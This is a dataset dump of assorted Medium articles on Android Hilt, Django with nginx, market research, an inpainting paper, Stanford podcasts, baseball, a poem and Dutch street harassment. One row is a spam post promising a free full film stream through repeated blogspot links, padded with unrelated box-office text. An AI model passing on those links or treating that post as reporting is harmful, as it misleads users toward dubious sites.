title
stringlengths 1
200
⌀ | text
stringlengths 10
100k
| url
stringlengths 32
829
| authors
stringlengths 2
392
| timestamp
stringlengths 19
32
| tags
stringlengths 6
263
|
|---|---|---|---|---|---|
Why Secondary Market Research Should Be Your First Step | Why Secondary Market Research Should Be Your First Step
Photo by Tierney on Adobe Stock
How do you look for market research?
Google?
Most of us go straight to Google and browse through page after page to look for information. But we’re not very good at it. And that’s an expensive problem. Fortunately, it’s not hard or expensive to fix.
There are two types of market research: primary and secondary. Google searching is part of secondary market research — research that already exists. Primary market research is research that you have to go out and find through surveys, interviews, focus groups, and other methods.
Primary market research is supposed to answer questions we couldn’t answer through secondary market research. And it costs 10x or even 100x more than secondary market research. But too often, we use expensive primary market research to answer questions we could have answered with basic secondary market research.
For most of us, secondary market research involves lots of Google searching, and if we’re lucky enough to have them, searching through our research subscriptions, like Gartner or Nielson. Many of the questions we have about our industries, products, and competitors have already been answered by others. So let’s take a look at how we can get better at finding them without resorting to needlessly spending extra time and money on research. | https://bettermarketing.pub/why-secondary-market-research-should-be-your-first-step-ef15893b4ccf | ['David Park'] | 2020-04-06 17:08:31.214000+00:00 | ['Market Research Reports', 'Research', 'Analysis', 'Startup', 'Marketing'] |
HILT — Dependency injection new library | Dependency injection plays a vital role in good app architecture. Why? I have answered this question in my previous article.
Hilt provides a standard way to use DI in your application. It provides containers for every Android class in your project and automatically manages their life cycles.
Hilt is built on top of the popular DI library Dagger in order to enhance the compile-time correctness, runtime performance, scalability, and Android Studio support that Dagger provides.
Almost 75% of the applications on Play store use Dagger. Hilt was created on top of Dagger to make migration easier.
Since many Android framework classes are instantiated by the OS itself, using Dagger in Android apps would mean having an associated boilerplate. Unlike Dagger, Hilt is integrated with Jetpack libraries and Android framework classes which removes most of the boilerplate. This means one can focus on the important parts of defining and injecting bindings without worrying about managing all the setup and wiring of Dagger.
It automatically generates and provides:
Components for integrating Android framework classes with Dagger that you would otherwise need to create by hand.
with Dagger that you would otherwise need to create by hand. Scope annotations for the components that Hilt generates automatically.
for the components that Hilt generates automatically. Predefined bindings and qualifiers.
Hilt in your project
Adding dependencies:
Add plugin to your project build.gradle file:
buildscript {
...
dependencies {
...
classpath 'com.google.dagger:hilt-android-gradle-plugin:2.28-alpha'
}
}
2. Add these dependencies in your app build.gradle file
...
apply plugin: 'kotlin-kapt'
apply plugin: 'dagger.hilt.android.plugin'
android {
...
}
dependencies {
implementation "com.google.dagger:hilt-android:2.28-alpha"
kapt "com.google.dagger:hilt-android-compiler:2.28-alpha"
}
Hilt in your application
Just as with manual dependency, here we create dependencies container class to get dependencies. These dependencies are used across the whole application, they need to be placed in such a way that all activities can use them. In the application class.
The Application class needs to be annotated with @HiltAndroidApp to add a container that is attached to the app’s life cycle. Open application class and add the annotation to it:
@HiltAndroidApp
class LogApplication : Application() {
...
}
The application container is the parent container of the app, which means that other containers can access the dependencies that it provides.
By following steps we ensure our app is ready to use Hilt.
Inject dependencies into Android classes
@AndroidEntryPoint
Hilt can provide dependencies to other Android classes using this annotation:
@AndroidEntryPoint
class ExampleActivity : AppCompatActivity() { ... }
Hilt currently supports the following Android classes:
Application (by using @HiltAndroidApp )
(by using ) Activity
Fragment
View
Service
BroadcastReceiver
Hilt only supports activities that extend FragmentActivity (like AppCompatActivity ) and fragments that extend the Jetpack library Fragment , not the (now deprecated) Fragment from the Android platform. Hilt does not support retained fragments.
If you annotate an Android class with @AndroidEntryPoint , then you also must annotate Android classes that depend on it.
@Inject
we use this annotation to obtain dependencies from a component.
@AndroidEntryPoint
class ExampleActivity : AppCompatActivity() {
@Inject lateinit var analytics: AnalyticsAdapter
...
}
Note: Fields injected by Hilt cannot be private. Attempting to inject a private field with Hilt results in a compilation error.
One way to provide binding information to Hilt is constructor injection. Use this annotation on the constructor of a class to tell Hilt how to provide instances of that class:
class AnalyticsAdapter @Inject constructor(
private val service: AnalyticsService
) { ... }
@ Module
Sometimes a type cannot be constructor-injected. This can happen for multiple reasons. For example, you cannot constructor-inject an interface. You also cannot constructor-inject a type that you do not own, such as a class from an external library. In these cases, you can provide Hilt with binding information by using Hilt modules.
This annotation helps you to provide instances of certain types.
Sometimes a type cannot be constructor-injected. This can happen for multiple reasons. For example, you cannot constructor-inject an interface. You also cannot constructor-inject a type that you do not own, such as a class from an external library. In these cases, you can provide Hilt with binding information by using Hilt modules. This annotation helps you to provide instances of certain types. @Binds
This annotation tells Hilt which implementation to use when it needs to provide an instance of an interface.
The annotated function provides the following information to Hilt:
1. The function return type tells Hilt what interface the function provides instances of.
2. The function parameter tells Hilt which implementation to provide.
interface AnalyticsService {
fun analyticsMethods()
}
// Constructor-injected, because Hilt needs to know how to
// provide instances of AnalyticsServiceImpl, too.
class AnalyticsServiceImpl @Inject constructor(
...
) : AnalyticsService { ... }
@Module
@InstallIn(ActivityComponent::class)
abstract class AnalyticsModule {
@Binds
abstract fun bindAnalyticsService(
analyticsServiceImpl: AnalyticsServiceImpl
): AnalyticsService
}
@Provides
It’s mostly used to provide third-party library instances.(classes like Retrofit, OkHttpClient , or Room databases)
@Module
@InstallIn(ActivityComponent::class)
object AnalyticsModule {
@Provides
fun provideAnalyticsService(
// Potential dependencies of this type
): AnalyticsService {
return Retrofit.Builder()
.baseUrl("https://example.com")
.build()
.create(AnalyticsService::class.java)
}
}
@Qualifier
A qualifier is an annotation that you use to identify a specific binding for a type when that type has multiple bindings defined.
package com.example.android.hilt.di
@Qualifier
annotation class InMemoryLogger
@Qualifier
annotation class DatabaseLogger
@InstallIn
The Hilt module class should also be annotated with @InstallIn to specify the scope of the module. For example, if we annotate the module with @InstallIn(ActivityComponent::class) , then the module will bind to the activity lifecycle.
Hilt provides a few more components you can use to bind dependencies to Android classes — have a look:
Screenshot from android developer official website
The application context binding is also available using @ApplicationContext . | https://medium.com/healthify-tech/hilt-dependency-injection-new-library-54a1255fa668 | ['Karishma Agrawal'] | 2020-08-24 06:48:04.195000+00:00 | ['New In Android', 'Dependency Injection', 'Dagger Hilt', 'Android App Development', 'AndroidDev'] |
How to fix Django’s HTTPS redirects in nginx | You deploy with nginx and Gunicorn and your site uses HTTPS. If Django occasionally returns HttpResponseRedirect or similar, you may find that the redirect sends you back to HTTP. Here’s how to fix it.
In the nginx configuration (inside the location block), specify this:
proxy_redirect off;
proxy_set_header X-Forwarded-Proto $scheme;
The proxy_redirect off statement tells nginx that, if the backend returns a redirect, it should leave it as is. By default, nginx assumes the backend is stupid and tries to fix the response; if, for example, the backend returns a redirect that says “redirect to http://localhost:8000/somewhere”, nginx replaces it with something similar to “http://yourowndomain.com/somewhere”. But Django isn’t stupid (or it can be configured to not be stupid), and it will typically return a relative URL. If nginx attempts to “fix” the relative URL, it will likely break things. Instead, we use proxy_redirect off so that nginx merely passes the redirection as is.
The second line is only necessary if your Django project ever uses request.is_secure() or similar. It’s a good idea to have it because even if it doesn’t today it will tomorrow, and it does no harm. Django does not know whether the request has been made through HTTPS or plain HTTP; nginx knows that, but the request it subsequently makes to the Django backend is always plain HTTP. We tell nginx to pass this information with the X-Forwarded-Proto HTTP header, so that related Django functionality such as request.is_secure() works properly. You will also need to set SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') in your settings.py .
This is a republication of an old article first published in my Django Deployment site. | https://medium.com/django-deployment/how-to-fix-djangos-https-redirects-in-nginx-63d304ddb19c | ['Antonis Christofides'] | 2020-12-21 08:55:16.834000+00:00 | ['Django', 'Nginx'] |
Ryu looks to follow Kershaw’s momentum in matchup vs. DeGrom | Hyun-Jin Ryu (Jon SooHoo/Los Angeles Dodgers)
by Rowan Kavner
The Dodgers got one of their All-Star starters back on track to start the series at Citi Field on Friday. They’re hoping to do the same on Saturday.
Hyun-Jin Ryu will make his second start of the month and first since Sept. 4 after getting his last start skipped. Ryu used the time to try to fix mechanical issues and work with pitching coach Rick Honeycutt after allowing three earned runs or more in each of his last four starts, something he had never done before.
Even after going 0–3 in his last four games, dropping three straight decisions for the first time since 2017, Ryu still has the best ERA of all qualified pitchers in baseball this year at 2.45.
Manager Dave Roberts said Kershaw set the tone for the series, and he believes Ryu also matches up well against the Mets. Ryu tossed 7 2/3 scoreless innings against the Mets earlier this year at Dodger Stadium on on May 30. In his career, Ryu is 4–1 with a 1.38 ERA against the Mets and is 2–0 with a 1.35 ERA in three starts at Citi Field.
He’ll get a tough test Saturday against another Cy Young candidate in Jacob deGrom. As a team, the Dodgers have won nine straight games in Queens dating back to 2016.
Quick Hits: | https://dodgers.mlblogs.com/ryu-looks-to-follow-kershaws-momentum-in-matchup-vs-degrom-b912ca08da13 | ['Rowan Kavner'] | 2019-09-14 23:04:23.272000+00:00 | ['MLB', 'Dodgers', 'Baseball', 'Pregame'] |
Debugging — The Process. Phase 2 was packed with a ton of… | Phase 2 was packed with a ton of things. It was almost overwhelming, but overall they were super interesting topics. They are almost oversimplified by all of the fancy gems we are able to use. It is easy to overlook a couple steps because some gems do so much for us, like corneal, and ActiveRecord.
In the beginning of my Sinatra Project for Flatiron I decided to build the scaffolding without Corneal. I wanted to create most of the files, add necessary gems, set up my config folder, I wanted to fully understand why and how my application was working. A couple of the Gem’s I decided to use that gave me some issues were, ‘Rake, and Sinatra’. Sinatra handles rendering the website, giving us the option of choosing what file to render for each route. Rake is used to handle the database, everything from creating tables to supplying the database with information. Starting from scratch came with a few caveats; rake itself does not have any predefined tasks, the session hash is not available to class methods or outside of controllers, and lastly setting up the public folder took me way too long. | https://medium.com/@Chesbro/debugging-the-process-e78dcaaf38c7 | ['Lawrence Chesbro'] | 2021-06-16 16:44:44.944000+00:00 | ['Coding', 'Ruby', 'Dsl', 'Debugging', 'Sinatra Project'] |
The Croods: A New Age Full Movie [Watch Online Free] | We can assume that far more watched movies at home, including multiple titles that in a non-COVID 19 world would either be playing in theaters now or would have already earlier this year. But we don’t know the actual numbers of these movies seen at home; only, in some cases, their relative order of popularity.
watch now..
https://the-croods-a-new-age-m.blogspot.com/
[click here]
https://the-croods-a-new-age-m.blogspot.com/
At a time when the future of movie theaters is uncertain, knowing the specifics is critical to analyzing what is likely to happen strategically when the pandemic fades. But all we have is tea leaves. Knowledge is power, but it is hard to determine right now because of the ongoing trend of streamers to obfuscate data.
Disney+ is not giving any hint of how heavily viewed Pixar’s “Soul” has been since its Friday debut. It leads on their “trending” list, but anything else would be unexpected.
In its announcement about pursuing their next “Wonder Woman” film on Sunday, Warner Bros. included unclear wording about its initial performance. The company said nearly half of HBO Max’s retail subscribers viewed it on Friday, along with millions of wholesale subscribers who have access to HBO Max via a cable, wireless, or other partner services. It’s unclear what “retail” means in terms of the overall share of their over 12 million subscribers, or how they define “view.” (Is it watching the entire film or only checking it out briefly?) The key statistic for both services is whether their subscriber bases increase, and what they do with their theatrical titles going forward in the years to come. Warner Bros.’ already said its entire 2021 slate will be similarly released.
We do know for sure that among the everal Premium Video on Demand titles out at the moment, “The Croods: A New Age” (Universal) is leading all titles across the board. The DreamWorks Animation sequel is ahead for the second week, covering the typically lucrative holiday period.
But it did so at sites which list positions on number of rentals, not money spent, and as a result that key mystery remains. Based on that fuzzy math, for every million households purchasing “Croods” over the first 10 days, about $20 million was spent, with Universal’s share of that seemingly coming in at 80 percent. Its success and profit relate to how many millions have done so, but what we only know, in this limited context, was that it led all others.
The next two performers on the up-to-the moment charts are “Tenet” (Warner Bros.), arriving late after a lengthy if COVID-limited theatrical run, and “Greenland” (STX), the Gerard Butler disaster film playing only at home. (Cable provide Spectrum, for unknown reasons, seems not to be offering Christopher Nolan’s film). The evidence from multiple charts is that these three films are getting significant action above all other titles.
Other recent high-priced titles charting are led by “The War With Grandpa” (101), at $14.99 a bit less pricey than its competitors. It placed fourth on two charts. “Honest Thief” (Briarcliff), also $14.99, was lower, also on two charts. “Half Brothers” (Focus) at $19.99 is only on FandangoNow in its first week after the standard three weeks in theaters for Universal/Focus releases..
Universal, which without its own dedicated streaming site heavily invested in early VOD, has two other titles that showed up, each on a single chart. “All My Life,” a romance-interrupted-by-disease drama, placed on FandangoNow’s revenue-based chart with its release three weeks after minor in theater play. “The Reason,” from faith-based Pure Flix but handled by Universal, is on Spectrum’s chart at a standard price ($5.99 at other locations, $6.99 there.)
Christmas related titles thrived during the week, with the two doing best in theaters — “Elf” and “National Lampoon’s Christmas Vacation” (both now Warner Bros.) both making three charts above other holiday entries.
“The Midnight Sky”
“The Midnight Sky”
Netflix
Netflix presumably also had a high end of viewers this weekend. That makes the five-day №1 placement for George Clooney’s science fiction drama “The Midnight Sky” very impressive. Few original films sustain that long a run at the top, and those made for critical/awards attention rarely if at all.
Last weekend, “Ma Rainey’s Black Bottom,” one of the leading Oscar contenders this year, took that spot for three days. A week later, it no longer is in the top 10.
Meantime, other originals are doing well. Robert Rodriguez’s family-oriented “We Can Be Heroes” ranks №2 for now. Thei documentary comedy take on the past year, “Welcome to 2020,” debuted Sunday and starts at №4 In between, following a recent trend of the streamer picking up recent VOD/theatrical releases, is “After We Collided.” The R-rated young adult romance novel adaptation was released by Open Road domestically with over $2 million in gross albeit close to $50 million worldwide, where it was theatrical only.
Apple TV
Ranked by number of transactions, with position as of Monday, December 28
1. The Croods: A New Age (Universal) — $19.99
2. Tenet (Warner Bros.) — $19.99
3. Greenland (STX) — $19.99
4. The War With Grandpa (101) — $14.99
5. The Informer (Vertical) — $5.99
6. Love and Monsters | https://medium.com/@singoliva667/the-croods-a-new-age-full-movie-watch-online-free-8382c13d5f46 | [] | 2021-01-18 18:27:45.611000+00:00 | ['Free Download', 'New Movie Download', 'Movies', 'Free', 'Hollywood'] |
Pushing the Limits of Deep Image Inpainting Using Partial Convolutions | Pushing the Limits of Deep Image Inpainting Using Partial Convolutions
Figure 1. Some inpainting results by using Partial Convolutions. Image by Guilin Liu et al. from their paper [1]
Hi. Today, I would like to talk about a good deep image inpainting paper which has broken some limitations on previous inpainting work. In short, most of the previous papers assume that the missing region(s) is/are regular (i.e. a center missing rectangular hole or multiple small rectangular holes) and this paper proposes a Partial Convolutional (PConv) layer to deal with irregular holes. Figure 1 shows some inpainting results using the proposed PConv. Are they good? Let’s grasp the main idea of PConv together!
Motivation
First of all, previous deep image inpainting approaches treat missing pixels and valid pixels the same in the sense that they fill a fixed pixel value (255 or 1 before/after normalization) to all the missing pixels in an image and apply standard convolutions to the input image for the task of inpainting. There are two problems here. i) Is it appropriate to fix the pixel values of the missing pixels to a pre-defined value? ii) Is it suitable for convolving the input image regardless of the validness of the pixels? So, it may be a good option to perform operations only on valid pixels.
Figure 2. Visual comparisons of previous deep inpainting methods trained by using regular masked images and the proposed Partial Conv. Image by Guilin Liu et al. from their paper [1]
Secondly, existing approaches assume that the missing region(s) is/are regular/rectangular. Some of them employ local discriminator to distinguish generated content from real content. For the case of a fixed size center missing hole, they input the filled center hole to the local discriminator for enhancing the local texture details. But how about irregular missing areas? Is it possible to have fine local details without the employment of a discriminator? If you have tried using the existing approaches for handling irregular masked images, you can find that the inpainting results are not satisfactory as shown in Figure 2. For practical inpainting methods, they should be able to handle irregular masked images.
Introduction
Similar to my previous posts, I assume that readers have a basic understanding of deep image inpainting such as network architecture, loss function (i.e. L1 and Adversarial losses), and related terminology (i.e. valid pixels, missing pixels, etc.). If you need or want, please have a quick recall of my previous posts. In this section, I will briefly go through the things that I think are less important, hence we can have more time to dive into the most important idea of this paper, Partial Convolution, in the following sections.
The authors of this paper employ a U-Net like network with skip connections in which all standard convolutional layers are replaced by the proposed partial convolutional layers. If you are interested in their network architecture, you may refer to the paper and they provide detailed tables of their model.
Interestingly, no discriminator is used in this work. Apart from standard L1 loss and total variation loss (TV loss), the authors adopt two high-level feature losses to complete the masked images with fine textures. I will introduce these two losses in detail later on.
Solution (spotlight)
As mentioned in Motivation, the key idea is to separate the missing pixels from the valid pixels during convolutions such that the results of convolutions only depend on the valid pixels. This is the reason why the proposed convolution is named partial convolution. The convolution is partially performed on the input based on a binary mask image that can be updated automatically.
Approach
Partial Convolutional Layer
Let us define W and b be the weights and bias of the convolution filter. X represents the pixel values (or feature activation values) being convolved and M is the corresponding binary mask which indicates the validness of each pixel/feature value (0 for missing pixels and 1 for valid pixels). The proposed partial convolution is computed,
where ⦿ means element-wise multiplication and 1 is a matrix of ones that has the same shape as M. From this equation, you can see that the results of the partial convolution only depend on the valid input values (as X ⦿ M). sum(1)/sum(M) is a scaling factor to adjust the results as the number of valid input values for each convolution is varying.
Update the binary mask after each partial convolutional layer. The proposed rule to update the binary mask is quite easy. If the result of the current convolution is conditioned on at least one valid input value, the corresponding location will be regarded as valid for the next partial convolutional layer.
as you can see above, the updating rule is simple to understand.
Figure 3. Graphical illustration of the proposed partial convolution. Image by author
Figure 3 shows a simple example to illustrate the proposed partial convolution. We consider a simple 5×5 input with its corresponding 5×5 binary mask image (1 for valid pixels and 0 for hole pixels) and a 3×3 W with fixed weights. Assume that we want to keep the same output size as the input size 5×5, hence we perform zero paddings before doing the convolution. Let’s consider the top-left corner (orange-bounded) first. X and M for this convolution are clearly shown in the figure and the number of valid input values is 3. Hence, the output of this location is -9+b. Also, the value of the corresponding location in the updated binary mask is 1 as there are 3 valid input values.
Considering the middle (purple-bounded) box, this time, as you can see, there is no valid input value for this convolution, so the result is 0+b and the updated mask value is also 0. The bottom-right (blue-bounded) box is another convolution example for showing the role of the scaling factor. By the scaling factor, the network can distinguish -3 computed by 3 valid input values from -3 computed by 5 valid input values.
For readers’ information, the updated binary mask after this partial convolutional layer is shown in the top-right corner of Figure 3. You can see that there are fewer zeros in the updated binary mask. When we perform more and more partial convolutions, the binary mask will be eventually updated to have all ones. This means that we can control the information to be passed inside the network regardless of the size and the shape of the missing regions.
Loss Functions
In total, there are 4 loss terms in their final loss function, namely L1 loss, Perceptual loss, Style loss, and TV loss.
L1 loss (per-pixel loss)
This loss is for ensuring the pixel-wise reconstruction accuracy.
where I_out and I_gt are the output of the network and the ground truth respectively. M is the binary mask, 0 for holes, and 1 for valid pixels. N_I_gt is the total number of pixel values in an image, which equals C×H×W, C is the channel size (3 for RGB image), H and W are the height and width of the image I_gt. You can see that L_hole and L_valid are the L1 loss of the hole pixels and valid pixels respectively.
Perceptual loss (VGG loss)
The perceptual loss is proposed by Gatys et al. [2] and we have introduced this loss previously. Simply speaking, we want the filled image and the ground truth image to have similar feature representations computed by a pre-trained network like VGG-16. Specifically, we feed the ground truth image and the filled image to a pre-trained VGG-16 to extract features. Then, we calculate the L1 distance between their feature values at all or several layers.
For the above equation, I_comp is the same as I_out except the valid pixels are directly replaced by the ground truth pixels. Ψ^I_p is the feature maps of the p-th layer computed by a pre-trained VGG-16 given the input I. N_Ψ^I_p is the number of elements in Ψ^I_p. According to Gatys et al. [2], this perceptual is small when the completed image is semantically close to its ground truth image. Perhaps, it is because deeper layers (higher level) provide more semantic information of an image and similar high-level feature representations represent better semantic correctness of the completion. For readers’ information, VGG-16 pool1, pool2, and pool3 layers are used to compute the perceptual loss.
Style loss
Apart from the perceptual loss, the authors also adopt the style loss as shown in the above. You can see that the style loss is also computed using the feature maps given by a pre-trained VGG-16. This time, we first calculate the auto-correlation of each feature map and it is called Gram matrix in [2]. According to [2], the Gram matrix contains the style information of an image such as textures and colours. This is also the reason why this loss is named Style loss. Thus, we compute the L1 distance between the Gram matrices of the completed image and the ground truth image. Note that Ψ^I_p is with size of (H_p×W_p)×C_p and its Gram matrix is with shape of C_p×C_p. K_p is a normalizing factor which depends on the spatial size of the feature maps at p-th layer.
Total Variation loss
The last loss term in their final loss function is the TV loss. We have talked about this loss in my previous posts. Simply speaking, this loss is adopted to ensure the smoothness of the completed images. This is also a common loss in many image processing tasks.
where N_I_comp is the total number of pixel values in I_comp.
Final loss
This is the final loss function to train the proposed model. The hyper-parameters used to control the importance of each loss term are set based on experiments on 100 validation images.
Ablation study
Figure 4. Inpainting results using different loss terms. (a) Input image (b) Result without style loss (c) Result using full loss (d) ground truth (e) Input image (f) Result using a small style loss weight (g) Results using full loss (h) ground truth (i) Input image (j) Result without perceptual loss (k) Result using full loss (l) ground truth. Please zoom in for a better view. Image by Guilin Liu et al. from their paper [1]
The authors did experiments to show the effects of different loss terms. The results are shown in Figure 4 in the above. First of all, Figure 4(b) shows the inpainting result without using style loss. They found that the use of the style loss is necessary in their model to generate fine local textures. However, the hyper-parameter for the style loss has to be carefully selected. As you can see in Figure 4(f), small weight for the style loss would cause some obvious artifacts as compared to the result using the full loss (Figure 4(g)). Apart from the style loss, the perceptual loss is also important. They also found that the employment of the perceptual loss can reduce the grid-shaped artifacts. Please see Figure 4(j) and (k) for the effect of the use of the perceptual loss.
In fact, the use of the high-level feature loss has not been fully studied. We cannot 100% say that the perceptual loss or the style loss must be useful for image inpainting. So, we have to do our own experiments to check the effectiveness of different loss terms for our desired applications.
Experiments
Figure 5. Some examples of mask images. 1, 3, 5 are with border constraint while 2, 4, 6 are without border constraint. Image by Guilin Liu et al. from their paper [1]
In their experiments, all the mask, training, and testing images are with the size of 512×512. The authors divided the testing images into two groups, i) mask with holes close to border. ii) mask without holes close to border. Images with all the holes with distance of at least 50 pixels from the border are classified into the second group. Figure 5 shows some examples of these two groups of masks. Furthermore, the authors generate 6 types of masks according to the hole-to-image area ratios: (0.01, 0.1], (0.1, 0.2], (0.2, 0.3], (0.3, 0.4], (0.4, 0.5], and (0.5, 0.6]. This means that the largest mask would mask out 60% of the original image content.
Training data. Similar to previous work, the authors evaluated their model on 3 publicly available datasets, namely, ImageNet, Places2 and CelebA-HQ datasets.
Figure 6. Visual comparisons of different approaches on ImageNet. (a) Input image (b) PatchMatch (c) GLCIC (d) Contextual Attention (e) PConv (f) Ground truth. Image by Guilin Liu et al. from their paper [1]
Figure 7. Visual comparisons of different approaches on Places2. (a) Input image (b) PatchMatch (c) GLCIC (d) Contextual Attention (e) PConv (f) Ground truth. Image by Guilin Liu et al. from their paper [1]
Figure 6 and 7 show the visual comparisons of different approaches on ImageNet and Places2 respectively. PatchMatch is the state-of-the-art conventional approach. GLCIC and Contextual Attention are two state-of-the-art deep learning approaches we have introduced before. As you can see, GLCIC (c) and Contextual Attention (d) cannot offer inpainting results with good visual quality. It may due to the fact that these two previous deep learning approaches are trained for regular masked images instead of irregular masked images. If you are interested, please zoom in for a better view of the inpainting results.
Figure 8. Visual comparisons of different approaches on CelebA-HQ. (a) Input image (b) Contextual Attention (c) PConv (d) Ground truth. Image by Guilin Liu et al. from their paper [1]
Figure 8 shows the inpainting results on CelebA-HQ dataset. You may zoom in for a better view of the results.
Table 1. Quantitative comparisons of various methods. 6 columns represent 6 different mask ratios. N means no border (i.e. holes can close to the border), B means border (i.e. no holes close to the border). Data by Guilin Liu et al. from their paper [1]
Table 1 lists out several objective evaluation metric numbers for readers’ information. Clearly, the proposed PConv offers the best numbers in nearly all the cases. Note that IScore is the inception score which is used as an estimation of the visual quality, and the lower the better estimated visual quality.
Apart from the qualitative and quantitative comparisons, the authors also conducted a human subjective study to evaluate the visual quality of different approaches. Interested readers may refer to the paper for the study.
Limitation
Figure 9. Inpainting results by PConv when the missing holes are larger and larger. Image by Guilin Liu et al. from their paper [1]
Figure 10. Some failure cases especially when the scenes are much more complicated. Image by Guilin Liu et al. from their paper [1]
At the end of this paper, the authors also mention some limitations of the current deep image inpainting approaches. First, it is difficult to complete an image with a large missing area as shown in the right of Figure 9. Second, when the image contains complex structure, it is also difficult to complete the image with good visual quality as shown in Figure 10. There is still no a comprehensive method to handle extreme large masked and complicated images. So, you may try to propose a good solution to this extreme image inpainting problem. :)
Conclusion
Obviously, Partial Convolution is the main idea of this paper. I hope that my simple example can explain clearly to you how the partial convolution is performed and how a binary mask is updated after each partial convolution layer. By using Partial Convolution, the results of convolution would only depend on valid pixels, hence we can have the control of the information pass inside the network and this may be useful for the task of image inpainting (at least the authors provide evidence that partial convolution is useful in their case). Apart from image inpainting, the authors have also tried to extend the partial convolution to the task of super-resolution as it shares similarity with image inpainting. Interested readers are highly recommended to refer to their paper.
Takeaways
Without a doubt, I hope you can understand what is partial convolution. Starting from this paper, the later deep image inpainting methods can deal with both regular and irregular masks. Together with my previous posts related to image inpainting, I also hope that you can have better understanding of the field of image inpainting. You should know some common techniques and remaining challenges in image inpainting. For example, dilation convolution, contextual attention layer, etc. It is also difficult to fill in an image when the hole(s) in an image is/are too large and the image is with complex structure.
What’s Next?
Next time, we will look at another paper which makes use of additional information to help filling in the masked images. Hope you enjoy! Let’s learn together! :)
References
[1] Guilin Liu, Fitsum A. Reda, Kevin J. Shih, Ting-Chun Wang, Andrew Tao, and Bryan Catanzaro, “Image Inpainting for Irregular Holes Using Partial Convolution,” Proc. European Conference on Computer Vision (ECCV), 2018.
[2] Leon A. Gatys, Alexander S. Ecker, and Matthias Bethge, “A Neural Algorithm of Artistic Style,” arXiv preprint arXiv:1508.06576, 2015.
Thanks for reading my post! If you have any questions, please feel free to send my an email or leave comments here. Any suggestions are welcome. Thank you very much again and hope to see you next time! :) | https://towardsdatascience.com/pushing-the-limits-of-deep-image-inpainting-using-partial-convolutions-ed5520775ab4 | ['Chu-Tak Li'] | 2020-11-10 15:06:51.321000+00:00 | ['Image', 'Convolutional Network', 'Image Inpainting', 'Image Processing', 'Deep Learning'] |
5 Stanford podcasts to wake your brain | Give your commute (or your run, or the baby’s nap time) a boost this week with five great podcast episodes from around campus. In our first roundup, you’ll find stories that just might have you seeing something in a new light—from the animated films of your childhood to Victorian sex surveys to what your Twitter language says about your health.
Podcast Mix #1, curated by Stanford Alumni
Generation Anthropocene: The Nature of Disney
You may not realize it, but Disney has influenced how you view the natural world. You’ll never see Bambi the same way again. Generation Anthropocene, a podcast about planetary change, is a collaboration of Stanford’s School of Earth, Energy & Environmental Sciences and Worldview Stanford.
Raw Data: So…What’s on your mind?
What can we learn about our well-being from our digital text trail? In this episode, discover how Twitter language correlates with heart disease, hear what insights can be captured in crisis counseling text conversations and get a glimpse of the future of therapy. Raw Data is a Stanford podcast about how big data and technology are transforming society, produced by Worldview Stanford and supported by the Stanford Cyber Initiative.
State of the Human: Believing
What does belief in something mean for our lives? How are we changed by it? Hear stories about belief and what it can do. “Believing” is an episode of State of the Human, the radio show of the Stanford Storytelling Project, which shares stories that deepen our understanding of single, common human experiences all drawn from research into Stanford community.
Stanford Out Loud: Sex Scholar
Stanford professor Clelia Mosher polled Victorian-era women on their bedroom behavior — something nobody had thought to do before—then kept the startling results under wraps. This episode features the voice of Herant Katchadourian, emeritus professor of psychiatry and human biology. Stanford Out Loud is produced by STANFORD magazine.
To the rise of social entrepreneurship, punk rock offers a narrative by breaking sideways in a world that tends to go straight ahead. With the immensity of today’s global challenges, Ned Breslin argues that the story arc of punk—its relentless push for change—offers important insights into how social entrepreneurs operate everywhere, whether they like punk rock or not. Produced by Stanford Social Innovation Review. | https://medium.com/stanford-alumni/5-stanford-podcasts-to-wake-your-brain-ff22736cba8b | ['Stanford Alumni'] | 2017-06-02 17:00:32.797000+00:00 | ['Alumni', 'Education', 'Podcast', 'Stanford'] |
First Things First | FIRST THINGS FIRST
Said the infant: Ask me to change if you must, but make me feel safe first.
Said the toddler: Ask me to change if you must, but love me first.
Said the kindergartener: Ask me to change if you must, but play with me first.
Said the primary student: Ask me to change if you must, but see me first.
Said the junior higher: Ask me to change if you must, but care about me first.
Said the high schooler: Ask me to change if you must, but listen to me first.
Said the college student: Ask me to change if you must, but respect me first.
Said the newly married: Ask me to change if you must, but hold me first.
Said the new parent: Ask me to change if you must, but affirm me first.
Said the parent of adults: Ask me to change if you must, but honor me first.
Said the new grandparent: Ask me to change if you must, but hear me out first.
Said the aging senior: Ask me to change if you must, but spend time with me first.
Said the nursing home resident: Ask me to change if you must, but value me first.
Said the dying person: Ask me to change if you must, but make me feel safe first. | https://medium.com/@dawnjoys/first-things-first-4c6bbfd3dd0a | ['Dawn Joys'] | 2021-02-25 01:37:31.757000+00:00 | ['Adulthood', 'Relationships', 'Life', 'Childhood', 'Poetry'] |
How the Dutch Are Fighting Street Harassment | How the Dutch Are Fighting Street Harassment
You are returning through Amsterdam centre late at night. As you enter a street known to be a popular hang-out for young men, you feel a tingle of fear. You grasp your keys firmly in your hand and speed up your pace.
“Hey, schatje…”
You keep walking ahead flustered, intimidated.
“Ho!” — the abusive words echo behind you…
Sadly, in the past year, 47% of women and 28% of men have encountered some form of street harassment. For women aged from 15 to 24, these figures reach a shocking 74%. That’s only a slight decrease from last year, despite the attempts made by the Dutch authorities. Similar figures stand for members of the LGTBQ+ community. Here, 50% admit to avoiding public spaces to protect themselves from abuse based on their orientation. Another vulnerable group is citizens of ethnic backgrounds. That’s a widespread issue that is impossible to ignore.
The topic of street harassment was drawn back into the spotlight, since the horrendous murder of 33-year old British Sarah Everard this year. The news hit the world by storm, especially since the crime had taken place in one of London’s neater neighborhoods. No one would’ve expected such a horrendous crime would take place there. Sarah was a healthy, young woman and had been wearing sports clothing on the evening she was attacked. Still, she didn’t manage to escape her attacker. The incident caused a worldwide uproar, taking thousands of protestors to the streets calling for the right to feel safe in public spaces.
Comparably to the earlier #metoo campaign — the hashtags #saraheverard flooded social media, together with posts with slogans: “text me when you’re home”. While #metoo was related to assaults occurring behind closed doors, this movement was about guaranteeing safety for everyone outside of their home.
Over the past years, the Dutch authorities stepped up their game in fighting sexual harassment. Campaigns, such as You Are not Alone (Jij staat niet alleen) were rolled out in Amsterdam and Pikpraat in The Hague and Rotterdam. According to research, 2 out of 5 Amsterdam citizens admit to having encountered some form of intimidation on the streets, in nightclubs, or other public spaces. Forms of harassment include catcalling, hissing, inappropriate remarks, or even cornering on the street…
